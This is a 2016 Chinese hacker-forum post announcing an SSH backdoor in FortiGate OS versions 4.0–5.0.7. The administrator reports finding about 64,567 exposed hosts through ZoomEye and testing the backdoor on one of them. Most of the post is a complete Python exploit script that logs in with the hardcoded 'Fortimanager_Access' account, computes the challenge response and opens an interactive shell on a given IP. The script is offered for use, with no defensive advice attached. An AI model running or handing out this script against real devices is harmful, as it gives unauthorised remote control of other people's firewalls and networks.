搜索
查看: 2895|回复: 0

飞塔系统存在SSH后门 影响版本 4.0 – 5.0.7!!

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-1-12 22:40:21 | 显示全部楼层 |阅读模式
今天 twitter 4 点钟的时候 有老外放出一个飞塔 os 的 exp ,说 4.0 – 5.0.7 !存在一个 ssh 的后门
进行了简单的测试,影响确实重大!
通过过Zoomeye搜索发现存在 64567台主机,
4321.jpg
4321.jpg

挑选一台进行测试
1234-3.jpg
1234-3.jpg
利用脚本
  1. #!/usr/bin/env python

  2. # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
  3. # Usage: ./fgt_ssh_backdoor.py <target-ip>

  4. import socket
  5. import select
  6. import sys
  7. import paramiko
  8. from paramiko.py3compat import u
  9. import base64
  10. import hashlib
  11. import termios
  12. import tty

  13. def custom_handler(title, instructions, prompt_list):
  14.     n = prompt_list[0][0]
  15.     m = hashlib.sha1()
  16.     m.update('\x00' * 12)
  17.     m.update(n + 'FGTAbc11*xy+Qqz27')
  18.     m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
  19.     h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
  20.     return [h]


  21. def main():
  22.     if len(sys.argv) < 2:
  23.         print 'Usage: ' + sys.argv[0] + ' <target-ip>'
  24.         exit(-1)

  25.     client = paramiko.SSHClient()
  26.     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

  27.     try:
  28.         client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
  29.     except paramiko.ssh_exception.SSHException:
  30.         pass

  31.     trans = client.get_transport()
  32.     try:
  33.         trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
  34.     except paramiko.ssh_exception.AuthenticationException:
  35.         pass

  36.     trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
  37.     chan = client.invoke_shell()

  38.     oldtty = termios.tcgetattr(sys.stdin)
  39.     try:
  40.         tty.setraw(sys.stdin.fileno())
  41.         tty.setcbreak(sys.stdin.fileno())
  42.         chan.settimeout(0.0)

  43.         while True:
  44.             r, w, e = select.select([chan, sys.stdin], [], [])
  45.             if chan in r:
  46.                 try:
  47.                     x = u(chan.recv(1024))
  48.                     if len(x) == 0:
  49.                         sys.stdout.write('\r\n*** EOF\r\n')
  50.                         break
  51.                     sys.stdout.write(x)
  52.                     sys.stdout.flush()
  53.                 except socket.timeout:
  54.                     pass
  55.             if sys.stdin in r:
  56.                 x = sys.stdin.read(1)
  57.                 if len(x) == 0:
  58.                     break
  59.                 chan.send(x)

  60.     finally:
  61.         termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


  62. if __name__ == '__main__':
  63.     main()
复制代码
from:http://tools.pwn.ren/2016/01/12/ ... -4-up-to-5-0-7.html


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表